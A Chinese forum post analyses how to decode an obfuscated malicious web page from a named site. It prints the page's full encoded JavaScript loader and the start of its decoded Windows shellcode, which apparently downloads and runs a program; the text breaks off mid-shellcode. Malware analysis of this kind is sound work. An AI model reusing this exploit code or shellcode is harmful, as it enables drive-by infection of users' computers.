本帖最后由 是昔流芳 于 2011-2-11 14:45 编辑
今天偶遇一个arguments.callee加密，觉得挺有趣。 shadowmin在剑盟发过类似的帖子，只不过他讲的有点高深，大多数人是看不懂的（其实我也看不懂，呵呵） 这次就拿http://kazirnayatema.cn/www/index.php来讲一下吧。有深度的我说不出来，就说点思路吧，思路而已。代码如下 <html><body></body></html><script> this.pcfipsl=false;
this.gsnlndgewzwue='aooylwmiuprz';
var gEjkf65 = '%a1%b8%a8%b7%ae%b5%b9%85%d1%c6%d3%cc%da%c6%cc%ca%a2%87%cf%c6%db%c6%d8%c8%d7%ce%d5%d9%87%a3%72%6f%db%c6%d7%85%d8%cd%ca%d1%d1%c8%d4%c9%ca%a2%da%d3%ca%d8%c8%c6%d5%ca%8d%87%8a%da%9a%98%9a%95%8a%da%9a%97%9a%96%8a%da%9a%9c%9a%9b%8a%da%9e%c8%9a%9a%8a%da%95%95%ca%9d%8a%da%95%95%95%95%8a%da%9a%c9%95%95%8a%da%ca%c9%9d%98%8a%da%98%96%95%c9%8a%da%9b%99%c8%95%8a%da%99%95%95%98%8a%da%9c%9d%98%95%8a%da%9d%c7%95%c8%8a%da%95%c8%99%95%8a%da%9c%95%9d%c7%8a%da%c6%c9%96%c8%8a%da%99%95%9d%c7%8a%da%ca%c7%95%9d%8a%da%9d%c7%95%9e%8a%da%98%99%99%95%8a%da%99%95%9d%c9%8a%da%9d%c7%9c%c8%8a%da%98%c8%99%95%8a%da%9a%9c%9a%9b%8a%da%9a%ca%c7%ca%8a%da%95%95%95%96%8a%da%95%96%95%95%8a%da%c7%cb%ca%ca%8a%da%95%96%99%ca%8a%da%95%95%95%95%8a%da%ca%cb%95%96%8a%da%c9%9b%ca%9d%8a%da%95%95%95%96%8a%da%9a%cb%95%95%8a%da%9d%9e%9a%ca%8a%da%9d%96%ca%c6%8a%da%9a%ca%c8%97%8a%da%95%95%95%96%8a%da%9a%97%95%95%8a%da%9d%95%9b%9d%8a%da%95%95%95%95%8a%da%cb%cb%95%95%8a%da%99%ca%9e%9a%8a%da%95%95%95%96%8a%da%9d%9e%95%95%8a%da%9d%96%ca%c6%8a%da%9a%ca%c8%97%8a%da%95%95%95%96%8a%da%98%96%95%95%8a%da%95%96%cb%9b%8a%da%9d%c6%c8%97%8a%da%98%9a%9e%c8%8a%da%95%97%9b%98%8a%da%95%95%95%95%8a%da%cb%c7%9d%95%8a%da%9c%99%95%95%8a%da%9d%9d%95%9b%8a%da%98%97%96%c8%8a%da%ca%c7%99%9b%8a%da%c8%9b%ca%ca%8a%da%98%97%95%99%8a%da%9d%9e%95%95%8a%da%9d%96%ca%c6%8a%da%99%9a%c8%97%8a%da%95%95%95%97%8a%da%9a%97%95%95%8a%da%9e%9a%cb%cb%8a%da%95%96%9a%97%8a%da%95%95%95%95%8a%da%ca%c6%9d%9e%8a%da%c8%97%9d%96%8a%da%95%97%9a%95%8a%da%95%95%95%95%8a%da%9a%95%9a%97%8a%da%9e%9a%cb%cb%8a%da%95%96%9a%9b%8a%da%95%95%95%95%8a%da%95%95%9b%c6%8a%da%95%95%9b%c6%8a%da%ca%c6%9d%9e%8a%da%c8%97%9d%96%8a%da%95%96%9a%ca%8a%da%95%95%95%95%8a%da%9d%9e%9a%97%8a%da%9d%96%ca%c6%8a%da%9c%9d%c8%97%8a%da%95%95%95%97%8a%da%9a%97%95%95%8a%da%95%95%9b%c6%8a%da%c9%95%cb%cb%8a%da%95%9a%9b%c6%8a%da%ca%c6%9d%9e%8a%da%c8%97%9d%96%8a%da%95%96%9a%ca%8a%da%95%95%95%95%8a%da%cb%cb%9a%97%8a%da%9a%c6%9e%9a%8a%da%95%95%95%96%8a%da%9d%9e%95%95%8a%da%9d%96%ca%c6%8a%da%9a%ca%c8%97%8a%da%95%95%95%96%8a%da%9a%97%95%95%8a%da%9d%95%9b%9d%8a%da%95%95%95%95%8a%da%cb%cb%95%95%8a%da%99%ca%9e%9a%8a%da%95%95%95%96%8a%da%9d%9e%95%95%8a%da%9d%96%ca%c6%8a%da%9a%ca%c8%97%8a%da%95%95%95%96%8a%da%98%96%95%95%8a%da%95%96%cb%9b%8a%da%9d%c6%c8%97%8a%da%98%9a%9e%c8%8a%da%95%97%9b%ca%8a%da%95%95%95%95%8a%da%cb%c7%9d%95%8a%da%9c%99%95%95%8a%da%9d%9d%95%9b%8a%da%98%97%96%c8%8a%da%ca%c7%99%9b%8a%da%c8%9b%ca%ca%8a%da%98%97%95%99%8a%da%9d%9e%95%95%8a%da%9d%96%ca%c6%8a%da%99%9a%c8%97%8a%da%95%95%95%97%8a%da%9a%97%95%95%8a%da%9e%9a%cb%cb%8a%da%95%96%9a%97%8a%da%95%95%95%95%8a%da%ca%c6%9d%9e%8a%da%c8%97%9d%96%8a%da%95%97%9a%95%8a%da%95%95%95%95%8a%da%9a%95%9a%97%8a%da%9e%9a%cb%cb%8a%da%95%96%9a%9b%8a%da%95%95%95%95%8a%da%95%95%9b%c6%8a%da%95%95%9b%c6%8a%da%ca%c6%9d%9e%8a%da%c8%97%9d%96%8a%da%95%96%9a%ca%8a%da%95%95%95%95%8a%da%9d%9e%9a%97%8a%da%9d%96%ca%c6%8a%da%c6%9b%c8%97%8a%da%95%95%95%97%8a%da%9a%97%95%95%8a%da%95%95%9b%c6%8a%da%c9%95%cb%cb%8a%da%95%9a%9b%c6%8a%da%ca%c6%9d%9e%8a%da%c8%97%9d%96%8a%da%95%96%9a%ca%8a%da%95%95%95%95%8a%da%cb%cb%9a%97%8a%da%9a%c6%9e%9a%8a%da%95%95%95%96%8a%da%9e%c9%95%95%8a%da%9a%cb%9a%c9%8a%da%9a%c6%9a%ca%8a%da%9a%c7%9a%9e%8a%da%c8%98%9a%9d%8a%da%95%95%95%95%8a%da%95%95%95%95%8a%da%95%95%95%95%8a%da%95%95%95%95%8a%da%95%95%95%95%8a%da%95%95%95%95%8a%da%95%95%95%95%8a%da%95%95%95%95%8a%da%9b%9a%99%9c%8a%da%9a%99%9c%99%8a%da%9b%c9%9b%9a%8a%da%9a%95%9c%95%8a%da%9c%99%9b%96%8a%da%99%96%9b%9d%8a%da%99%c8%95%95%8a%da%9b%96%9b%cb%8a%da%99%c8%9b%99%8a%da%9b%97%9b%9e%8a%da%9b%96%9c%97%8a%da%9c%9e%9c%97%8a%da%95%95%99%96%8a%da%9b%9a%99%9c%8a%da%9a%95%9c%99%8a%da%9b%cb%9c%97%8a%da%99%96%9b%98%8a%da%9b%99%9b%99%8a%da%9b%9a%9c%97%8a%da%9c%98%9c%98%8a%da%9a%9c%95%95%8a%da%9b%ca%9b%9e%8a%da%9c%9d%99%9a%8a%da%9b%98%9b%9a%8a%da%c7%c7%95%95%8a%da%cb%97%9d%9e%8a%da%cb%9c%9d%9e%8a%da%c8%95%98%95%8a%da%9c%9a%c6%ca%8a%da%97%9e%cb%c9%8a%da%9d%9e%cb%9c%8a%da%98%96%cb%9e%8a%da%c7%ca%c8%95%8a%da%95%95%98%c8%8a%da%95%95%95%95%8a%da%c7%9a%95%98%8a%da%95%97%96%c7%8a%da%95%95%95%95%8a%da%c6%c9%9b%9b%8a%da%9d%9a%95%98%8a%da%95%97%96%c7%8a%da%95%95%95%95%8a%da%9c%95%9d%c7%8a%da%9d%98%9c%9d%8a%da%96%c8%c8%9b%8a%da%c7%9a%95%98%8a%da%95%97%96%c7%8a%da%95%95%95%95%8a%da%c7%c9%9d%c9%8a%da%95%97%96%cb%8a%da%95%95%95%95%8a%da%95%98%c6%c9%8a%da%96%c7%9d%9a%8a%da%95%95%95%97%8a%da%c6%c7%95%95%8a%da%95%98%c6%c9%8a%da%96%c7%9d%9a%8a%da%95%95%95%97%8a%da%9a%95%95%95%8a%da%c6%c9%c6%c7%8a%da%9d%9a%95%98%8a%da%95%97%96%c7%8a%da%95%95%95%95%8a%da%9a%ca%c6%c7%8a%da%c9%c7%98%96%8a%da%9a%9b%c6%c9%8a%da%9d%9a%95%98%8a%da%95%97%96%c7%8a%da%95%95%95%95%8a%da%c8%9b%9d%9e%8a%da%c9%9c%9d%9e%8a%da%cb%c8%9a%96%8a%da%c6%9b%cb%98%8a%da%9c%99%9a%9e%8a%da%9a%ca%95%99%8a%da%ca%c7%99%98%8a%da%9a%ca%ca%9e%8a%da%c9%96%9e%98%8a%da%95%98%ca%95%8a%da%97%9c%9d%9a%8a%da%95%95%95%97%8a%da%98%96%95%95%8a%da%9e%9b%cb%9b%8a%da%c6%c9%9b%9b%8a%da%ca%95%c8%96%8a%da%95%98%95%97%8a%da%96%cb%9d%9a%8a%da%95%95%95%97%8a%da%9d%9e%95%95%8a%da%c6%c9%c8%9b%8a%da%9d%9a%95%98%8a%da%95%97%96%c7%8a%da%95%95%95%95%8a%da%ca%c7%c8%98%8a%da%95%95%96%95%8a%da%95%95%95%95%8a%da%95%95%95%95%8a%da%95%95%95%95%8a%da%95%95%95%95%8a%da%95%95%95%95%8a%da%95%95%95%95%8a%da%95%95%95%95%8a%da%9d%9e%95%95%8a%da%96%c7%9d%9a%8a%da%95%95%95%97%8a%da%9a%9b%95%95%8a%da%ca%9d%9a%9c%8a%da%cb%cb%9a%9d%8a%da%cb%cb%cb%cb%8a%da%9a%ca%9a%cb%8a%da%95%96%c6%c7%8a%da%9d%95%c8%ca%8a%da%c7%c7%98%ca%8a%da%95%97%9c%99%8a%da%ca%c9%ca%c7%8a%da%9a%9a%c8%98%8a%da%99%c8%9a%97%8a%da%99%cb%99%c9%8a%da%97%ca%99%ca%8a%da%99%c8%99%99%8a%da%95%95%99%c8%8a%da%9a%97%9a%9a%8a%da%99%99%99%c8%8a%da%9c%9c%9b%cb%8a%da%9b%c8%9b%ca%8a%da%9b%96%9b%cb%8a%da%9a%99%9b%99%8a%da%99%9b%9b%cb%8a%da%9b%c8%9b%9e%8a%da%99%96%9b%9a%8a%da%9c%9a%95%95%8a%da%9b%99%9c%95%8a%da%9c%99%9b%96%8a%da%97%ca%9b%9a%8a%da%9c%9d%9b%9a%8a%da%95%95%9b%9a%8a%da%9c%97%9b%98%8a%da%9c%98%9b%96%8a%da%97%ca%9b%9d%8a%da%9b%9d%9c%95%8a%da%95%95%9c%95%8a%da%9c%99%9b%9d%8a%da%9c%95%9c%99%8a%da%97%ab%98%a6%8a%da%9b%a7%97%ab%8a%da%9c%a6%9b%96%8a%da%9c%97%9b%9e%8a%da%9b%96%9b%aa%8a%da%9b%96%9c%9e%8a%da%9b%9a%9c%99%8a%da%9b%96%9b%a9%8a%da%9b%98%97%aa%8a%da%97%ab%9b%aa%8a%da%9c%9c%9c%9c%8a%da%97%ab%9c%9c%8a%da%9c%9d%9b%9a%8a%da%97%aa%9b%9a%8a%da%9b%9d%9c%95%8a%da%95%95%9c%95%8a%da%9e%95%95%95%87%8e%a0%72%6f%85%85%85%85%85%85%85%85%db%c6%d7%85%d5%c4%da%d7%d1%85%a2%85%87%cd%d9%d9%d5%9f%94%94%d0%c6%df%ce%d7%d3%c6%de%c6%d9%ca%d2%c6%93%c8%d3%94%dc%dc%dc%94%ca%dd%ca%93%d5%cd%d5%87%a0%72%6f%cb%da%d3%c8%d9%ce%d4%d3%85%b2%a9%a6%a8%8d%8e%e0%72%6f%72%6f%6e%db%c6%d7%85%d3%da%c8%a2%8c%8c%a0%72%6f%c9%9d%a2%85%95%a0%72%6f%85%85%db%c6%d7%85%c7%ac%9a%cd%a8%cf%dc%cd%85%a2%85%c9%d4%c8%da%d2%ca%d3%d9%93%c8%d7%ca%c6%d9%ca%aa%d1%ca%d2%ca%d3%d9%8d%87%d4%87%90%d3%da%c8%90%87%c7%cf%87%90%d3%da%c8%90%87%ca%87%90%d3%da%c8%90%87%c8%d9%87%8e%a0%72%6f%85%85%c7%ac%9a%cd%a8%cf%dc%cd%93%d8%ca%d9%a6%d9%d9%d7%ce%c7%da%d9%ca%8d%87%ce%c9%87%91%87%a1%a4%a2%87%90%d3%da%c8%90%87%c7%ac%9a%87%90%d3%da%c8%90%87%cd%87%90%d3%da%c8%90%87%a8%87%90%d3%da%c8%90%87%cf%dc%cd%a4%a3%87%8e%a0%72%6f%c7%ac%9a%cd%a8%cf%dc%cd%93%d8%ca%d9%a6%d9%d9%d7%ce%c7%da%d9%ca%8d%87%c8%87%90%d3%da%c8%90%87%d1%c6%87%90%d3%da%c8%90%87%d8%d8%ce%c9%87%91%87%c8%87%90%d3%da%c8%90%87%d1%d8%ce%c9%87%90%d3%da%c8%90%87%9f%87%90%d3%da%c8%90%87%a7%87%90%d3%da%c8%90%87%a9%87%90%d3%da%c8%90%87%9e%9b%87%90%d3%da%c8%90%87%a8%87%90%d3%da%c8%90%87%9a%87%90%d3%da%c8%90%87%9a%9b%92%9b%9a%87%90%d3%da%c8%90%87%a6%87%90%d3%da%c8%90%87%98%87%90%d3%da%c8%90%87%92%87%90%d3%da%c8%90%87%96%87%90%d3%da%c8%90%87%96%a9%87%90%d3%da%c8%90%87%95%92%9e%9d%87%90%d3%da%c8%90%87%98%87%90%d3%da%c8%90%87%a6%87%90%d3%da%c8%90%87%92%87%90%d3%da%c8%90%87%95%87%90%d3%da%c8%90%87%95%a8%95%99%ab%87%90%d3%da%c8%90%87%a8%87%90%d3%da%c8%90%87%97%9e%87%90%d3%da%c8%90%87%aa%87%90%d3%da%c8%90%87%98%87%90%d3%da%c8%90%87%9b%87%8e%a0%72%6f%d9%d7%de%e0%72%6f%db%c6%d7%85%b2%ca%df%da%95%9e%96%85%a2%85%c7%ac%9a%cd%a8%cf%dc%cd%93%a8%d7%ca%c6%d9%ca%b4%c7%cf%ca%c8%d9%8d%87%c6%87%90%d3%da%c8%90%87%c9%87%90%d3%da%c8%90%87%d4%c9%87%90%d3%da%c8%90%87%c7%87%90%d3%da%c8%90%87%93%d8%d9%d7%87%90%d3%da%c8%90%87%ca%87%90%d3%da%c8%90%87%c6%d2%87%91%8c%8c%8e%a0%72%6f%db%c6%d7%85%c9%9d%85%a2%85%96%a0%72%6f%e2%c8%c6%d9%c8%cd%8d%ca%8e%e0%e2%72%6f%d9%d7%de%e0%72%6f%db%c6%d7%85%b5%aa%aa%b1%d9%9b%85%a2%85%c7%ac%9a%cd%a8%cf%dc%cd%93%a8%d7%ca%c6%d9%ca%b4%c7%cf%ca%c8%d9%8d%87%b8%87%90%d3%da%c8%90%87%cd%87%90%d3%da%c8%90%87%ca%d1%d1%93%a6%d5%87%90%d3%da%c8%90%87%d5%87%90%d3%da%c8%90%87%d1%87%90%d3%da%c8%90%87%ce%87%90%d3%da%c8%90%87%c8%87%90%d3%da%c8%90%87%c6%d9%ce%d4%d3%87%91%8c%8c%8e%a0%72%6f%db%c6%d7%85%c9%9d%85%a2%85%96%a0%72%6f%e2%72%6f%c8%c6%d9%c8%cd%8d%ca%8e%e0%e2%72%6f%ce%cb%8d%c9%9d%85%a2%a2%85%96%8e%72%6f%e0%72%6f%d9%d7%de%72%6f%e0%72%6f%db%c6%d7%85%d0%a6%d7%9a%c9%cb%b1%85%a2%85%c7%ac%9a%cd%a8%cf%dc%cd%93%a8%d7%ca%c6%d9%ca%b4%c7%cf%ca%c8%d9%8d%87%d2%d8%dd%87%90%d3%da%c8%90%87%d2%87%90%d3%da%c8%90%87%d1%97%93%87%90%d3%da%c8%90%87%bd%b2%b1%ad%b9%b9%b5%87%91%8c%8c%8e%a0%72%6f%72%6f%85%85%d0%a6%d7%9a%c9%cb%b1%93%d4%d5%ca%d3%8d%87%ac%87%90%d3%da%c8%90%87%aa%87%90%d3%da%c8%90%87%b9%87%91%d5%c4%da%d7%d1%91%cb%c6%d1%d8%ca%8e%a0%72%6f%85%85%d0%a6%d7%9a%c9%cb%b1%93%d8%ca%d3%c9%8d%8e%a0%72%6f%85%85%b2%ca%df%da%95%9e%96%93%d9%de%d5%ca%85%a2%85%96%a0%72%6f%85%85%b2%ca%df%da%95%9e%96%93%d4%d5%ca%d3%8d%8e%a0%72%6f%b2%ca%df%da%95%9e%96%93%bc%d7%ce%d9%ca%8d%d0%a6%d7%9a%c9%cb%b1%93%d7%ca%d8%d5%d4%d3%d8%ca%a7%d4%c9%de%8e%a0%72%6f%85%85%ab%d7%d4%cc%dd%c6%85%a2%85%87%93%93%c1%c1%b8%9d%9c%ca%d0%cd%bb%93%ca%dd%ca%87%a0%72%6f%b2%ca%df%da%95%9e%96%93%b8%c6%db%ca%b9%d4%ab%ce%d1%ca%8d%ab%d7%d4%cc%dd%c6%91%97%8e%a0%72%6f%ca%db%c6%d1%8d%87%b5%87%90%d3%da%c8%90%87%aa%aa%b1%d9%9b%93%87%90%d3%da%c8%90%87%b8%cd%ca%d1%d1%aa%dd%87%90%d3%da%c8%90%87%ca%c8%da%d9%87%90%d3%da%c8%90%87%ca%87%90%d3%da%c8%90%87%8d%ab%d7%d4%cc%dd%c6%8e%87%90%d3%da%c8%90%87%a0%87%8e%a0%72%6f%d7%ca%d9%da%d7%d3%85%96%a0%72%6f%e2%72%6f%c8%c6%d9%c8%cd%8d%ca%8e%e0%e2%72%6f%e2%72%6f%e2%72%6f%72%6f%cb%da%d3%c8%d9%ce%d4%d3%85%b5%a9%ab%8d%8e%e0%72%6f%d9%d7%de%85%e0%72%6f%db%c6%d7%85%d4%c7%cf%85%a2%85%d3%da%d1%d1%a0%72%6f%d4%c7%cf%85%a2%85%d3%ca%dc%85%a6%c8%d9%ce%db%ca%bd%b4%c7%cf%ca%c8%d9%8d%87%a6%c8%d7%d4%b5%a9%ab%93%b5%a9%ab%87%8e%a0%72%6f%ce%cb%85%8d%86%d4%c7%cf%8e%85%e0%d4%c7%cf%85%a2%85%d3%ca%dc%85%a6%c8%d9%ce%db%ca%bd%b4%c7%cf%ca%c8%d9%8d%87%b5%a9%ab%93%b5%c9%cb%a8%d9%d7%d1%87%8e%a0%e2%72%6f%ce%cb%85%8d%d4%c7%cf%8e%85%e0%c9%d4%c8%da%d2%ca%d3%d9%93%dc%d7%ce%d9%ca%8d%87%a1%ca%d2%c7%ca%c9%85%dc%ce%c9%d9%cd%a2%8c%96%9a%95%8c%85%cd%ca%ce%cc%cd%d9%a2%8c%96%9a%95%8c%85%d8%d7%c8%a2%8c%d8%d5%d1%94%d5%c9%cb%93%d5%c9%cb%8c%85%d9%de%d5%ca%a2%8c%c6%d5%d5%d1%ce%c8%c6%d9%ce%d4%d3%94%d5%c9%cb%8c%a3%a1%94%ca%d2%c7%ca%c9%a3%87%8e%a0%d8%ca%d9%b9%ce%d2%ca%d4%da%d9%8d%87%b8%b5%a9%8d%8e%87%91%85%96%95%95%95%8e%a0%d7%ca%d9%da%d7%d3%a0%e2%72%6f%e2%85%c8%c6%d9%c8%cd%8d%ca%8e%85%e0%e2%72%6f%b8%b5%a9%8d%8e%a0%d7%ca%d9%da%d7%d3%a0%72%6f%e2%72%6f%72%6f%72%6f%72%6f%cb%da%d3%c8%d9%ce%d4%d3%85%b8%b8%8d%8e%72%6f%e0%72%6f%d9%d7%de%e0%72%6f%d7%ca%d9%a2%d3%ca%dc%85%a6%c8%d9%ce%db%ca%bd%b4%c7%cf%ca%c8%d9%8d%87%d8%d3%d5%db%dc%93%b8%d3%c6%d5%d8%cd%d4%d9%85%bb%ce%ca%dc%ca%d7%85%a8%d4%d3%d9%d7%d4%d1%93%96%87%8e%a0%72%6f%ce%cb%85%8d%d7%ca%d9%8e%e0%72%6f%db%c6%d7%85%c6%d7%c7%ce%d9%d7%c6%d7%de%c4%cb%ce%d1%ca%85%a2%85%d5%c4%da%d7%d1%a0%72%6f%db%c6%d7%85%c9%ca%d8%d9%85%a2%85%8c%a8%9f%94%b5%d7%d4%cc%d7%c6%d2%85%ab%ce%d1%ca%d8%94%b4%da%d9%d1%d4%d4%d0%85%aa%dd%d5%d7%ca%d8%d8%94%dc%c6%c7%93%ca%dd%ca%8c%a0%72%6f%c9%d4%c8%da%d2%ca%d3%d9%93%dc%d7%ce%d9%ca%8d%87%a1%d4%c7%cf%ca%c8%d9%85%c8%d1%c6%d8%d8%ce%c9%a2%8c%c8%d1%d8%ce%c9%9f%ab%95%aa%99%97%a9%9b%95%92%98%9b%9d%a8%92%96%96%a9%95%92%a6%a9%9d%96%92%95%95%a6%95%a8%9e%95%a9%a8%9d%a9%9e%8c%85%ce%c9%a2%8c%c6%d9%d9%c6%c8%d0%8c%a3%a1%94%d4%c7%cf%ca%c8%d9%a3%87%8e%a0%72%6f%c6%d9%d9%c6%c8%d0%93%b8%d3%c6%d5%d8%cd%d4%d9%b5%c6%d9%cd%85%a2%85%c6%d7%c7%ce%d9%d7%c6%d7%de%c4%cb%ce%d1%ca%a0%72%6f%d8%ca%d9%b9%ce%d2%ca%d4%da%d9%8d%8c%dc%ce%d3%c9%d4%dc%93%d1%d4%c8%c6%d9%ce%d4%d3%85%a2%85%87%d1%c9%c6%d5%9f%94%94%96%97%9c%93%95%93%95%93%96%87%8c%91%97%95%95%95%8e%a0%72%6f%c6%d9%d9%c6%c8%d0%93%a8%d4%d2%d5%d7%ca%d8%d8%ca%c9%b5%c6%d9%cd%85%a2%85%c9%ca%d8%d9%a0%72%6f%c6%d9%d9%c6%c8%d0%93%b5%d7%ce%d3%d9%b8%d3%c6%d5%d8%cd%d4%d9%8d%c6%d7%c7%ce%d9%d7%c6%d7%de%c4%cb%ce%d1%ca%91%c9%ca%d8%d9%8e%a0%72%6f%e2%72%6f%e2%c8%c6%d9%c8%cd%8d%ca%8e%e0%e2%72%6f%d7%ca%d9%da%d7%d3%a0%72%6f%e2%72%6f%cb%da%d3%c8%d9%ce%d4%d3%85%b8%b5%a9%8d%8e%e0%72%6f%d9%d7%de%e0%72%6f%d4%c7%cf%85%a2%85%d3%ca%dc%85%a6%c8%d9%ce%db%ca%bd%b4%c7%cf%ca%c8%d9%8d%87%b4%bc%a8%96%95%93%b8%d5%d7%ca%c6%c9%d8%cd%ca%ca%d9%87%8e%a0%72%6f%ce%cb%8d%86%d4%c7%cf%8e%85%e0%d4%c7%cf%85%a2%85%d3%ca%dc%85%a6%c8%d9%ce%db%ca%bd%b4%c7%cf%ca%c8%d9%8d%87%b4%bc%a8%96%96%93%b8%d5%d7%ca%c6%c9%d8%cd%ca%ca%d9%87%8e%a0%6e%e2%72%6f%ce%cb%8d%d4%c7%cf%8e%e0%72%6f%db%c6%d7%85%c6%d7%d7%c6%de%85%a2%85%d3%ca%dc%85%a6%d7%d7%c6%de%8d%8e%a0%72%6f%db%c6%d7%85%d1%d8%85%a2%85%95%dd%9d%96%95%95%95%92%8d%d8%cd%ca%d1%d1%c8%d4%c9%ca%93%d1%ca%d3%cc%d9%cd%8f%97%8e%a0%72%6f%db%c6%d7%85%c7%ce%cc%c7%d1%d4%c8%d0%85%a2%85%da%d3%ca%d8%c8%c6%d5%ca%8d%87%8a%da%95%c7%95%c8%8a%da%95%c7%95%a8%87%8e%a0%72%6f%dc%cd%ce%d1%ca%8d%c7%ce%cc%c7%d1%d4%c8%d0%93%d1%ca%d3%cc%d9%cd%a1%d1%d8%94%97%8e%72%6f%e0%c7%ce%cc%c7%d1%d4%c8%d0%90%a2%c7%ce%cc%c7%d1%d4%c8%d0%a0%e2%72%6f%db%c6%d7%85%d1%cd%85%a2%85%c7%ce%cc%c7%d1%d4%c8%d0%93%d8%da%c7%d8%d9%d7%ce%d3%cc%8d%95%91%d1%d8%94%97%8e%a0%72%6f%c9%ca%d1%ca%d9%ca%85%c7%ce%cc%c7%d1%d4%c8%d0%a0%72%6f%cb%d4%d7%8d%ce%a2%95%a0%ce%a1%95%dd%9e%9e%8f%97%a0%ce%90%90%8e%85%e0%72%6f%c6%d7%d7%c6%de%c0%ce%c2%85%a2%85%d1%cd%85%90%85%d1%cd%85%90%85%d8%cd%ca%d1%d1%c8%d4%c9%ca%a0%72%6f%e2%72%6f%72%6f%ca%a2%d3%ca%dc%85%a6%d7%d7%c6%de%8d%8e%a0%72%6f%ca%93%d5%da%d8%cd%8d%96%8e%a0%72%6f%ca%93%d5%da%d8%cd%8d%97%8e%a0%72%6f%ca%93%d5%da%d8%cd%8d%95%8e%a0%72%6f%ca%93%d5%da%d8%cd%8d%dc%ce%d3%c9%d4%dc%8e%a0%72%6f%cb%d4%d7%8d%ce%a2%95%a0%ce%a1%ca%93%d1%ca%d3%cc%d9%cd%a0%ce%90%90%8e%e0%72%6f%cb%d4%d7%8d%cf%a2%95%a0%cf%a1%96%95%a0%cf%90%90%8e%e0%72%6f%d9%d7%de%e0%72%6f%d4%c7%cf%93%aa%db%c6%d1%da%c6%d9%ca%8d%ca%c0%ce%c2%8e%a0%72%6f%e2%72%6f%c8%c6%d9%c8%cd%8d%ca%8e%72%6f%e0%e2%72%6f%e2%72%6f%e2%72%6f%dc%ce%d3%c9%d4%dc%93%d8%d9%c6%d9%da%d8%a2%ca%c0%98%c2%85%90%8c%8c%a0%72%6f%cb%d4%d7%8d%cf%a2%95%a0%cf%a1%96%95%a0%cf%90%90%8e%e0%72%6f%d9%d7%de%e0%72%6f%d4%c7%cf%93%d2%d8%a9%c6%d9%c6%b8%d4%da%d7%c8%ca%b4%c7%cf%ca%c8%d9%8d%ca%c0%98%c2%8e%a0%72%6f%e2%72%6f%c8%c6%d9%c8%cd%8d%ca%8e%72%6f%e0%e2%72%6f%e2%72%6f%d8%ca%d9%b9%ce%d2%ca%d4%da%d9%8d%87%b8%b8%8d%8e%87%91%85%97%95%95%95%8e%a0%d7%ca%d9%da%d7%d3%a0%72%6f%e2%72%6f%e2%c8%c6%d9%c8%cd%8d%ca%8e%e0%e2%72%6f%b8%b8%8d%8e%a0%d7%ca%d9%da%d7%d3%a0%72%6f%e2%72%6f%ce%cb%85%8d%b2%a9%a6%a8%8d%8e%e1%e1%b5%a9%ab%8d%8e%8e%85%e0%85%e2%72%6f%a1%94%d8%c8%d7%ce%d5%d9%a3%72%6f';
function mrrxwlxjcc()
{
}
var tbhvnhtyn='ngxtnqnz';
this.xjwrfjdom='gxdtb';
function fcd5e4f6512877df9173c2061fdaf98de101(wFmDk)
{
function qmvneyjmpsmeesy()
{
}
var wFmDk = unescape(wFmDk);
var utatcgseslol=5004;
function rtyrz(jriibuuuxzifyiy)
{
return uqevzqbfqq;
}
var xmmogfqlsql='nxfhzbwz';
this.mqiiu=false;
var RZQQR=arguments.callee.toString();
this.soouwdso='jbbsvgkz';
RZQQR=RZQQR.substr('function '.length);
function kcsmhctgxjnws(sklriszxhtc)
{
return amjwlovri;
}
RZQQR=RZQQR.substr(0,RZQQR.indexOf('('));
var qprnoexzwoi='kopujwrasrsrpjf';
this.qwpqpireijdvozj=false;
var BEtEN=RZQQR.substr(33);
var riswehuazwc=5822;
var fnjelae='abjzsmlpr';
function dkkksbzevbxttor(acyfihsnovbwyw)
{
return llkat;
}
this.ovvzxyj=false;
this.ucxugfnnkdem='twgadidivzjzhag';
var OMqHcD='';
function ctpfpmnrurfltxu()
{
}
this.sxiyaswugvv='ewoeckagzzqz';
this.dmucspkt=false;
var ugpql='tvhgyfirbcaqq';
for(var i=0;
i<gEjkf65.length;
i++)
{
OMqHcD+=String.fromCharCode(wFmDk.charCodeAt(i)-BEtEN);
}
return OMqHcD;
function segvqvj(dqzowofnucohu)
{
return hjxqbkidbzgdhh;
}
var zhamvqhyvbiao='gqabsuvig';
var ypcurris=6836;
this.ldgizsv=false;
function icufgzwcddl()
{
}
}
document.write(fcd5e4f6512877df9173c2061fdaf98de101(gEjkf65));
this.pcfipsl=false;
this.gsnlndgewzwue='aooylwmiuprz';
</script>
好了，我们看到中间有一串%，于是自然地联想到可以使用Redoce里的转义符清除，那我们来试试看吧。哦，解完后很强大，什么都不是，那么这条路就堵死了。
下面我们来看看最后，有个document.write，知道该怎么办了吧，呵呵。这里呢，最好别用alert替换，使用相应解密函数比较好，因为弹出的代码太长了……
<SCRIPT language="javascript">
var shellcode=unescape("%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u0